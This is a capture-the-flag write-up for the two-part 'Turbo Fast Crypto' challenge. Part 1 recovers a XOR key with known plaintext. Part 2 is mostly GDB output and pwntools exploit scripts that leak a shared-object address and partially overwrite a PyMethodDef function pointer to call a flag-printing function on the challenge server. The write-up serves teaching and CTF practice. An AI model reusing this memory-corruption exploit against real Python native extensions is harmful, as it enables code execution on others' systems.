Summary: An insecurely implemented Python native library allows for an attacker to exfiltrate the
XOR key used to ‘encrypt’ arbitrary data as well as contains an unbounded buffer overflow on the
encryption buffer allowing partial overwrite of the ml_meth
pointer of a PyMethodDef
structure
to trigger a win function.
Challenge Prompt
Part 1:
Turbo Fast Crypto, part 1
Cryptography
Solves (29) - 117 Points
We found the frontend code for a remote encryption service at nc challs.sieberrsec.tech 3477:
import turbofastcrypto # The source code for this module is only available for part 2 of this challenge :)
while 1:
plaintext = input('> ')
ciphertext = turbofastcrypto.encrypt(plaintext)
print('Encrypted: ' + str(ciphertext))
My partner says it operates under the hood with "XOR", whatever that means. I need you to recover the key.
Part 2:
Turbo Fast Crypto, part 2
Binary Exploitation
Solves (1) - 900 Points
Using the key you extracted, we found a link to the source code for turbofastcrypto.
There happens to be a secret flag file on the server, and you need to extract it.
A first blood prize of one (1) month of Discord Nitro is available for this challenge.
(the target server is the same as part 1)
Attachment: challenge file
Solution
Part 1
From the Python source given in the part 1 prompt, an unknown library is imported and used to encrypt some user supplied string. Since the clue that XOR is used, we can get a sample and decrypt it with our known plaintext to get the key.
nc challs.sieberrsec.tech 3477
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Encrypted: b'\x08\x13\x12:2$"3$52\x1e 3$\x1e3$7$ -$%``<AAAAAAAAAAAAAAAA'
Decrypting it:
In [227]: xor(b'\x08\x13\x12:2$"3$52\x1e 3$\x1e3$7$ -$%``<AAAAAAAAAAAAAAAA', b'A')
Out[227]: b'IRS{secrets_are_revealed!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Playing with the application a little foreshadows the next part a little when it demonstrates some odd stateful behaviour when sending multiple strings:
nc challs.sieberrsec.tech 3477
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Encrypted: b'\x08\x13\x12:2$"3$52\x1e 3$\x1e3$7$ -$%``<AAAAAAAAAAAAAAAA'
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Encrypted: b'IRS{secrets_are_revealed!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>
Flag: IRS{secrets_are_revealed!!}
Part 2
Unpacking the provided tar file yields the source code to the previous part including a Python native module.
$ file tfc.tar.gz
tfc.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 51200
$ tar xvf tfc.tar.gz
x distrib_turbofastcrypto/
x distrib_turbofastcrypto/README.md
x distrib_turbofastcrypto/tfc.py
x distrib_turbofastcrypto/compile.sh
x distrib_turbofastcrypto/setup.py
x distrib_turbofastcrypto/checksums.txt
x distrib_turbofastcrypto/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
x distrib_turbofastcrypto/turbofastcrypto.c
Examining the tfc.py
script confirms that this is the ‘frontend’ we dealt with previously. Thus,
we should focus on the turbofastcrypto
library instead.
import turbofastcrypto # The source code for this module is only available for part 2 of this challenge :)
while 1:
plaintext = input('> ')
ciphertext = turbofastcrypto.encrypt(plaintext)
print('Encrypted: ' + str(ciphertext))
We are given the compiled turbofastcrypto.cpython-38-x86_64-linux-gnu.so
shared object and the
source code to it. It appears to implement a simple XOR cryptography operation using a fixed sized
buffer called IV
containing the flag in part 1. It also contains the print_flag
function which
we are supposed to call somehow.
#define PY_SSIZE_T_CLEAN
#include <Python.h>
char IV[64] = "IRS{secrets_are_revealed!!}";
#pragma GCC optimize ("O0")
__attribute__ ((used)) static void print_flag() { system("cat flag"); }
static PyObject *encrypt(PyObject *self, PyObject *args) {
const char *cmd;
Py_ssize_t len;
if (!PyArg_ParseTuple(args, "s#", &cmd, &len)) return NULL;
for (int i = 0; i < len; i++) IV[i] ^= cmd[i];
return PyBytes_FromStringAndSize(IV, len);
}
static PyMethodDef mtds[] = {
{"encrypt", encrypt, METH_VARARGS, "Encrypt a string" },
{ NULL, NULL, 0, NULL }
};
static struct PyModuleDef moddef = {
PyModuleDef_HEAD_INIT,
"turbofastcrypto",
NULL,
-1,
mtds
};
PyMODINIT_FUNC PyInit_turbofastcrypto() { return PyModule_Create(&moddef);}
One obvious issue with the code is that the length of the user input obtained through input()
is
not validated against the size of the buffer, thus we can overflow it and corrupt the structures
following it. We can start an instance of the script to debug it in GDB to observe what the memory
layout looks like and see if we can produce a crash.
First, we can attach to an instance and create a DeBrujin sequence pattern.
gef➤ pattern create 500
[+] Generating a pattern of 500 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
[+] Saved as '$_gef3'
gef➤
Next, submitting it to the program and allowing it to run results in a crash at when attempting to
call into 0x6261616161616162
.
gef➤ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
module_traverse (m=0x7fc7c719fc70, visit=0x54f930 <visit_decref>, arg=0x7fc7c719fc70) at Objects/moduleobject.c:775
775 Objects/moduleobject.c: No such file or directory.
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x6261616161616162 ("baaaaaab"?)
$rbx : 0x00007fc7c719fc70 → 0x0000000000000004
$rcx : 0x00007fc7c72ce058 → 0xff07ff04ff05ffff
...
───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x474286 <module_traverse+22> mov rax, QWORD PTR [rax+0x50]
0x47428a <module_traverse+26> test rax, rax
0x47428d <module_traverse+29> je 0x474295 <module_traverse+37>
→ 0x47428f <module_traverse+31> call rax
0x474291 <module_traverse+33> test eax, eax
0x474293 <module_traverse+35> jne 0x4742b0 <module_traverse+64>
0x474295 <module_traverse+37> mov rdi, QWORD PTR [rbx+0x10]
0x474299 <module_traverse+41> xor eax, eax
0x47429b <module_traverse+43> test rdi, rdi
───────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x6261616161616162 (
)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "python", stopped 0x47428f in module_traverse (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x47428f → module_traverse(m=0x7fc7c719fc70, visit=0x54f930 <visit_decref>, arg=0x7fc7c719fc70)
[#1] 0x550256 → subtract_refs(containers=<optimized out>)
[#2] 0x550256 → collect(generation=0x2, n_collected=0x7ffe16255f78, n_uncollectable=0x7ffe16255f80, nofail=0x0, state=<optimized out>)
[#3] 0x551673 → collect_with_callback(state=<optimized out>, generation=0x2)
[#4] 0x551673 → PyGC_Collect()
[#5] 0x551673 → _PyGC_CollectIfEnabled()
[#6] 0x524937 → Py_FinalizeEx()
[#7] 0x5262c5 → Py_FinalizeEx()
[#8] 0x42cb9b → Py_RunMain()
[#9] 0x42d574 → pymain_main(args=0x7ffe162560d0)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
This translates to an offset of 208. Thus, we can possibly obtain RIP control through a standard buffer overflow.
gef➤ pattern offset 0x6261616161616162
[+] Searching for '0x6261616161616162'
[+] Found at offset 208 (little-endian search) likely
[+] Found at offset 208 (big-endian search)
gef➤
However, we have to deal with ASLR now. Our goal is to obtain the base address of the shared object
so we can calculate the absolute address of print_flag
. We break on the encrypt
function to
observe if we can utilise the functionality to leak some addresses.
gef➤ br encrypt
Breakpoint 1 at 0x7fc7c820d1c0: file turbofastcrypto.c, line 9.
gef➤ c
Continuing.
Breakpoint 1, encrypt (self=0x7fc7c719fc70, args=0x7fc7c7266910) at turbofastcrypto.c:9
9 static PyObject *encrypt(PyObject *self, PyObject *args) {
...
Examining the memory starting from the IV
buffer shows that there appears to be pointers contained
within the mtds
structure.
gef➤ x/32xg IV
0x7fdc26804060 <IV>: 0x726365737b535249 0x5f6572615f737465
0x7fdc26804070 <IV+16>: 0x64656c6165766572 0x00000000007d2121
0x7fdc26804080 <IV+32>: 0x0000000000000000 0x0000000000000000
0x7fdc26804090 <IV+48>: 0x0000000000000000 0x0000000000000000
0x7fdc268040a0 <mtds>: 0x00007fdc2680200c 0x00007fdc268011c0
0x7fdc268040b0 <mtds+16>: 0x0000000000000001 0x00007fdc26802014
0x7fdc268040c0 <mtds+32>: 0x0000000000000000 0x0000000000000000
0x7fdc268040d0 <mtds+48>: 0x0000000000000000 0x0000000000000000
0x7fdc268040e0 <moddef>: 0x0000000000000002 0x000000000090ffa0
0x7fdc268040f0 <moddef+16>: 0x00007fdc26801290 0x000000000000000f
0x7fdc26804100 <moddef+32>: 0x00007fdc25794480 0x00007fdc26802025
0x7fdc26804110 <moddef+48>: 0x0000000000000000 0xffffffffffffffff
0x7fdc26804120 <moddef+64>: 0x00007fdc268040a0 0x0000000000000000
0x7fdc26804130 <moddef+80>: 0x0000000000000000 0x0000000000000000
0x7fdc26804140 <moddef+96>: 0x0000000000000000 0x0000000000000000
0x7fdc26804150: 0x332e392075746e75 0x75627537312d302e
gef➤
Testing the first pointer 0x00007fdc2680200c
shows that it lies at an offset of 0x200c
or 8204
from the base address of the shared object.
gef➤ vmmap turbofastcrypto.cpython-38-x86_64-linux-gnu.so
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00007fdc26800000 0x00007fdc26801000 0x0000000000000000 r-- /vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
0x00007fdc26801000 0x00007fdc26802000 0x0000000000001000 r-x /vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
0x00007fdc26802000 0x00007fdc26803000 0x0000000000002000 r-- /vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
0x00007fdc26803000 0x00007fdc26804000 0x0000000000002000 r-- /vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
0x00007fdc26804000 0x00007fdc26805000 0x0000000000003000 rw- /vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
gef➤ vmmap 0x00007fdc268011c0 - 0x00007fdc26800000
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00007fdc26801000 0x00007fdc26802000 0x0000000000001000 r-x /vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
gef➤ p 0x00007fdc2680200c - 0x00007fdc26800000
$9 = 0x200c
gef➤
Thus, we can use the XOR operation to leak this address, calculate the base address from it, and
finally derive the print_flag
address. A quick proof-of-concept script was created to test the
leak and RIP control. To begin with, an address of 0x4242424242424242
was used for validation.
#!/usr/bin/env python
from pwn import *
mtds_offset = 8204
printflag_offset = 0x11a0
context.log_level = 'debug'
def main():
#p = remote("challs.sieberrsec.tech", 3477)
p = process(["python", "tfc.py"])
# Leak the base address of the shared object.
p.recvuntil(b'>')
p.sendline(b'A'*72)
p.recvuntil(b'Encrypted: ')
leak = xor(util.safeeval.expr(p.recvline())[-8:], b'A')
mtds_leak = u64(leak)
log.info('mtds leak: {}'.format(hex(mtds_leak)))
so_base = mtds_leak - mtds_offset
log.info('shared object base: {}'.format(hex(so_base)))
printflag = so_base + printflag_offset
log.info('print_flag: {}'.format(hex(printflag)))
# Send the exploit.
input()
printflag = 0x4242424242424242
payload = p64(printflag)
payload = payload.rjust(208+8, b'A')
p.recvuntil(b'>')
p.sendline(payload)
# Trigger
payload = b'A'*208
p.recvuntil(b'>')
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
main()
Running the script shows the expected crash:
$ python exploit.py
[+] Starting local process '/home/vagrant/.pyenv/versions/3.8.9/bin/python' argv=[b'python', b'tfc.py'] : pid 14968
[DEBUG] Received 0x2 bytes:
b'> '
[DEBUG] Sent 0x49 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[DEBUG] Received 0x74 bytes:
b'Encrypted: b\'\\x08\\x13\\x12:2$"3$52\\x1e 3$\\x1e3$7$ -$%``<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM\\x91\\x14\\xec\\xd0>AA\'\n'
b'> '
[*] mtds leak: 0x7f91ad55d00c
[*] shared object base: 0x7f91ad55b000
[*] print_flag: 0x7f91ad55c1a0
[DEBUG] Sent 0xd9 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\n'
[DEBUG] Received 0x1e2 bytes:
b"Encrypted: b'IRS{secrets_are_revealed!!}\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\xd0U\\xad\\x91\\x7f\\x00\\x00\\x81\\x80\\x14\\xec\\xd0>AA@AAAAAAAU\\x91\\x14\\xec\\xd0>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAA\\xe1\\xbe\\xd1AAAAA\\xd1\\x83\\x14\\xec\\xd0>AANAAAAAAA\\xc1\\xb5\\x0f\\xed\\xd0>AAd\\x91\\x14\\xec\\xd0>AAAAAAAAAA\\xbe\\xbe\\xbe\\xbe\\xbe\\xbe\\xbe\\xbe\\xe1\\xb1\\x14\\xec\\xd0>AAAAAAAAAABBBBBBBB'\n"
b'> '
[DEBUG] Sent 0xd1 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[*] Switching to interactive mode
AA@AAAAAAAU\x91\x14\xec\xd0>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAA\xe1\xbe\xd1AAAAA\xd1\x83\x14\xec\xd0>AANAAAAAAA\xc1\xb5\x0f\xed\xd0>AAd\x91\x14\xec\xd0>AAAAAAAAAA\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xbe\xe1\xb1\x14\xec\xd0>AAAAAAAAAABBBBBBBB'
> [DEBUG] Received 0xc7 bytes:
b'Traceback (most recent call last):\n'
b' File "tfc.py", line 4, in <module>\n'
b' ciphertext = turbofastcrypto.encrypt(plaintext)\n'
b"TypeError: 'builtin_function_or_method' object does not support vectorcall\n"
Traceback (most recent call last):
File "tfc.py", line 4, in <module>
ciphertext = turbofastcrypto.encrypt(plaintext)
TypeError: 'builtin_function_or_method' object does not support vectorcall
$
And checking the crash in a debugger shows that the RIP control works.
gef➤ c
Continuing.
Thread 1 "python" received signal SIGSEGV, Segmentation fault.
module_traverse (m=0x7f91ac4eec20, visit=0x54f930 <visit_decref>, arg=0x7f91ac4eec20) at Objects/moduleobject.c:775
775 Objects/moduleobject.c: No such file or directory.
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x4242424242424242 ("BBBBBBBB"?)
$rbx : 0x00007f91ac4eec20 → 0x0000000000000004
$rcx : 0x00007f91ac61d058 → 0xffffffff05ff0302
...
───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x474286 <module_traverse+22> mov rax, QWORD PTR [rax+0x50]
0x47428a <module_traverse+26> test rax, rax
0x47428d <module_traverse+29> je 0x474295 <module_traverse+37>
→ 0x47428f <module_traverse+31> call rax
0x474291 <module_traverse+33> test eax, eax
0x474293 <module_traverse+35> jne 0x4742b0 <module_traverse+64>
0x474295 <module_traverse+37> mov rdi, QWORD PTR [rbx+0x10]
0x474299 <module_traverse+41> xor eax, eax
0x47429b <module_traverse+43> test rdi, rdi
───────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x4242424242424242 (
)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "python", stopped 0x47428f in module_traverse (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x47428f → module_traverse(m=0x7f91ac4eec20, visit=0x54f930 <visit_decref>, arg=0x7f91ac4eec20)
[#1] 0x550256 → subtract_refs(containers=<optimized out>)
[#2] 0x550256 → collect(generation=0x2, n_collected=0x7ffc1694cda8, n_uncollectable=0x7ffc1694cdb0, nofail=0x0, state=<optimized out>)
[#3] 0x551673 → collect_with_callback(state=<optimized out>, generation=0x2)
[#4] 0x551673 → PyGC_Collect()
[#5] 0x551673 → _PyGC_CollectIfEnabled()
[#6] 0x524937 → Py_FinalizeEx()
[#7] 0x5262c5 → Py_FinalizeEx()
[#8] 0x42cb9b → Py_RunMain()
[#9] 0x42d574 → pymain_main(args=0x7ffc1694cf00)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
However, when fixing up the print_flag
address to use the actual leaked one, we encounter UTF-8
decoding issues. Unfortunately, we cannot encode 6 bytes of arbitrary code points in UTF-8.
Only a maximum of 4 bytes is possible. Hence, we cannot properly encode the 6 contiguous bytes
required to specify the address.
$ python exploit.py
[+] Starting local process '/home/vagrant/.pyenv/versions/3.8.9/bin/python' argv=[b'python', b'tfc.py'] : pid 15198
[DEBUG] Received 0x2 bytes:
b'> '
[DEBUG] Sent 0x49 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[DEBUG] Received 0x71 bytes:
b'Encrypted: b\'\\x08\\x13\\x12:2$"3$52\\x1e 3$\\x1e3$7$ -$%``<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM!\\x9c\\xf6\\xff>AA\'\n'
b'> '
[*] mtds leak: 0x7fbeb7dd600c
[*] shared object base: 0x7fbeb7dd4000
[*] print_flag: 0x7fbeb7dd51a0
[DEBUG] Sent 0xd9 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
000000d0 a0 51 dd b7 be 7f 00 00 0a │·Q··│····│·│
000000d9
[DEBUG] Received 0x48 bytes:
b'Traceback (most recent call last):\n'
b' File "tfc.py", line 3, in <module>\n'
[DEBUG] Sent 0xd1 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[*] Switching to interactive mode
[*] Process '/home/vagrant/.pyenv/versions/3.8.9/bin/python' stopped with exit code 1 (pid 15198)
[DEBUG] Received 0x11a bytes:
b" plaintext = input('> ')\n"
b' File "/home/vagrant/.pyenv/versions/3.8.9/lib/python3.8/codecs.py", line 322, in decode\n'
b' (result, consumed) = self._buffer_decode(data, self.errors, final)\n'
b"UnicodeDecodeError: 'utf-8' codec can't decode byte 0xa0 in position 208: invalid start byte\n"
plaintext = input('> ')
File "/home/vagrant/.pyenv/versions/3.8.9/lib/python3.8/codecs.py", line 322, in decode
(result, consumed) = self._buffer_decode(data, self.errors, final)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xa0 in position 208: invalid start byte
[*] Got EOF while reading in interactive
$
Coming back to the analysis of the memory layout, we can inspect the pointers we leaked earlier. The
first pointer in the mtds
struct points to the name of the function encrypt
.
gef➤ x/32xg IV
0x7fdc26804060 <IV>: 0x726365737b535249 0x5f6572615f737465
0x7fdc26804070 <IV+16>: 0x64656c6165766572 0x00000000007d2121
0x7fdc26804080 <IV+32>: 0x0000000000000000 0x0000000000000000
0x7fdc26804090 <IV+48>: 0x0000000000000000 0x0000000000000000
0x7fdc268040a0 <mtds>: 0x00007fdc2680200c 0x00007fdc268011c0
0x7fdc268040b0 <mtds+16>: 0x0000000000000001 0x00007fdc26802014
0x7fdc268040c0 <mtds+32>: 0x0000000000000000 0x0000000000000000
0x7fdc268040d0 <mtds+48>: 0x0000000000000000 0x0000000000000000
0x7fdc268040e0 <moddef>: 0x0000000000000002 0x000000000090ffa0
0x7fdc268040f0 <moddef+16>: 0x00007fdc26801290 0x000000000000000f
0x7fdc26804100 <moddef+32>: 0x00007fdc25794480 0x00007fdc26802025
0x7fdc26804110 <moddef+48>: 0x0000000000000000 0xffffffffffffffff
0x7fdc26804120 <moddef+64>: 0x00007fdc268040a0 0x0000000000000000
0x7fdc26804130 <moddef+80>: 0x0000000000000000 0x0000000000000000
0x7fdc26804140 <moddef+96>: 0x0000000000000000 0x0000000000000000
0x7fdc26804150: 0x332e392075746e75 0x75627537312d302e
gef➤ x/s 0x00007fdc268011c0
0x7fdc268011c0 <encrypt>: "\363\017\036\372UH\211\345H\203\354\060H\211}\330H\211u\320dH\213\004%("
gef➤
The second pointer points to the code segment, namely, the body of the encrypt
function. This
object is the PyMethodDef
structure used in exposing native modules to Python scripts.
gef➤ disas 0x00007fdc268011c0
Dump of assembler code for function encrypt:
=> 0x00007fdc268011c0 <+0>: repz nop edx
0x00007fdc268011c4 <+4>: push rbp
0x00007fdc268011c5 <+5>: mov rbp,rsp
0x00007fdc268011c8 <+8>: sub rsp,0x30
0x00007fdc268011cc <+12>: mov QWORD PTR [rbp-0x28],rdi
0x00007fdc268011d0 <+16>: mov QWORD PTR [rbp-0x30],rsi
0x00007fdc268011d4 <+20>: mov rax,QWORD PTR fs:0x28
0x00007fdc268011dd <+29>: mov QWORD PTR [rbp-0x8],rax
0x00007fdc268011e1 <+33>: xor eax,eax
0x00007fdc268011e3 <+35>: lea rcx,[rbp-0x10]
0x00007fdc268011e7 <+39>: lea rdx,[rbp-0x18]
0x00007fdc268011eb <+43>: mov rax,QWORD PTR [rbp-0x30]
0x00007fdc268011ef <+47>: lea rsi,[rip+0xe13] # 0x7fdc26802009
0x00007fdc268011f6 <+54>: mov rdi,rax
0x00007fdc268011f9 <+57>: mov eax,0x0
0x00007fdc268011fe <+62>: call 0x7fdc268010d0
0x00007fdc26801203 <+67>: test eax,eax
0x00007fdc26801205 <+69>: jne 0x7fdc2680120e <encrypt+78>
0x00007fdc26801207 <+71>: mov eax,0x0
0x00007fdc2680120c <+76>: jmp 0x7fdc26801270 <encrypt+176>
0x00007fdc2680120e <+78>: mov DWORD PTR [rbp-0x1c],0x0
0x00007fdc26801215 <+85>: jmp 0x7fdc2680124b <encrypt+139>
0x00007fdc26801217 <+87>: mov rdx,QWORD PTR [rip+0x2dd2] # 0x7fdc26803ff0
0x00007fdc2680121e <+94>: mov eax,DWORD PTR [rbp-0x1c]
0x00007fdc26801221 <+97>: cdqe
0x00007fdc26801223 <+99>: movzx ecx,BYTE PTR [rdx+rax*1]
0x00007fdc26801227 <+103>: mov rdx,QWORD PTR [rbp-0x18]
0x00007fdc2680122b <+107>: mov eax,DWORD PTR [rbp-0x1c]
0x00007fdc2680122e <+110>: cdqe
0x00007fdc26801230 <+112>: add rax,rdx
0x00007fdc26801233 <+115>: movzx eax,BYTE PTR [rax]
0x00007fdc26801236 <+118>: xor ecx,eax
0x00007fdc26801238 <+120>: mov rdx,QWORD PTR [rip+0x2db1] # 0x7fdc26803ff0
0x00007fdc2680123f <+127>: mov eax,DWORD PTR [rbp-0x1c]
0x00007fdc26801242 <+130>: cdqe
0x00007fdc26801244 <+132>: mov BYTE PTR [rdx+rax*1],cl
0x00007fdc26801247 <+135>: add DWORD PTR [rbp-0x1c],0x1
0x00007fdc2680124b <+139>: mov eax,DWORD PTR [rbp-0x1c]
0x00007fdc2680124e <+142>: movsxd rdx,eax
0x00007fdc26801251 <+145>: mov rax,QWORD PTR [rbp-0x10]
0x00007fdc26801255 <+149>: cmp rdx,rax
0x00007fdc26801258 <+152>: jl 0x7fdc26801217 <encrypt+87>
0x00007fdc2680125a <+154>: mov rax,QWORD PTR [rbp-0x10]
0x00007fdc2680125e <+158>: mov rsi,rax
0x00007fdc26801261 <+161>: mov rax,QWORD PTR [rip+0x2d88] # 0x7fdc26803ff0
0x00007fdc26801268 <+168>: mov rdi,rax
0x00007fdc2680126b <+171>: call 0x7fdc26801090
0x00007fdc26801270 <+176>: mov rsi,QWORD PTR [rbp-0x8]
0x00007fdc26801274 <+180>: xor rsi,QWORD PTR fs:0x28
0x00007fdc2680127d <+189>: je 0x7fdc26801284 <encrypt+196>
0x00007fdc2680127f <+191>: call 0x7fdc268010a0
0x00007fdc26801284 <+196>: leave
0x00007fdc26801285 <+197>: ret
End of assembler dump.
gef➤
Additionally, the print_flag
function is only a few bytes away from the encrypt
function. Hence,
we can perform a partial one-byte overwrite to coerce calls to the encrypt
function to run the
print_flag
function instead. Since it only requires one byte, we can either encode the input
properly as UTF-8 or hope that the single byte we need to write is valid UTF-8 itself.
gef➤ p print_flag
$4 = {void ()} 0x7fdc268011a0 <print_flag>
gef➤ p encrypt - print_flag
$5 = 0x20
gef➤
It turns out that it is valid without requiring further encoding. The script to perform this one-byte overwrite is as follows:
#!/usr/bin/env python
from pwn import *
def main():
p = remote("challs.sieberrsec.tech", 3477)
# p = process(["python", "tfc.py"])
# Calculate the partial byte to overwrite.
elf = ELF("turbofastcrypto.cpython-38-x86_64-linux-gnu.so")
to_overwrite = xor(p64(elf.symbols["print_flag"])[0], p64(elf.symbols["encrypt"])[0])
log.info('Overwriting with byte {}.'.format(hex(ord(to_overwrite))))
assert to_overwrite.decode('utf-8')
log.info('Confirmed that the byte is valid UTF-8.')
# Overwrite a single byte of the `ml_meth` pointer of a `PyMethodDef` structure in `mtds`.
p.recvuntil(b'>')
p.sendline(b'A'* (64 + 8) + to_overwrite)
# Trigger the overwritten encrypt call to get the flag.
p.recvline()
p.sendline()
p.recvuntil(b'> ')
flag = p.recvline().decode()
log.success('Flag: {}'.format(flag))
if __name__ == '__main__':
main()
Running the script finally gives us the flag:
$ python exploit_partial.py
[+] Opening connection to challs.sieberrsec.tech on port 3477: Done
[*] '/vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Overwriting with byte 0x60.
[*] Confirmed that the byte is valid UTF-8.
[+] Flag: IRS{w@s_th@t_fun?}
[*] Closed connection to challs.sieberrsec.tech port 3477
Flag: IRS{w@s_th@t_fun?}
Leave a Comment